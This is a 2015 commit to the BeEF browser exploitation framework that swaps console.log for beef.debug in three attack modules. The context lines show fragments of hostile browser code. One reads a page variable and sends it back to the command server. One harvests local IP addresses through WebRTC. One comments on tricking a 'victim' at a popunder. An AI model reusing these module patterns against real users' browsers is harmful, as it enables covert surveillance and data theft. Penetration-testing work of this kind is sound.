Replace 'console.log' with 'beef.debug'

This commit is contained in:
Brendan Coles
2015-02-07 05:35:09 +00:00
parent 73e16e4aff
commit f5d2c2028b
3 changed files with 3 additions and 3 deletions

View File

@@ -14,7 +14,7 @@ beef.execute(function() {
var curl = "<%= @command_url %>";
var cid = "<%= @command_id %>";
console.log("The current value of " + payload + " is " + Window[payload]);
beef.debug("The current value of " + payload + " is " + Window[payload]);
beef.net.send(curl, parseInt(cid),'get_variable=true');
});

View File

@@ -23,7 +23,7 @@ beef.execute(function() {
// Grep the SDP data for IP address data
rtc.onicecandidate = function (evt) {
if (evt.candidate){
console.log("a="+evt.candidate.candidate);
beef.debug("a="+evt.candidate.candidate);
grepSDP("a="+evt.candidate.candidate);
}
};

View File

@@ -79,7 +79,7 @@ beef.execute(function() {
// The keypress focus is on the popunder, but the following would be nice to have to force the victim to press TAB
// var tab_pressed = false;
// function checkTabPressed(){
// console.log(event.keyCode);
// beef.debug(event.keyCode);
// if(tab_pressed && event.keyCode != 9){
// // all good
// }else if(event.keyCode == 9){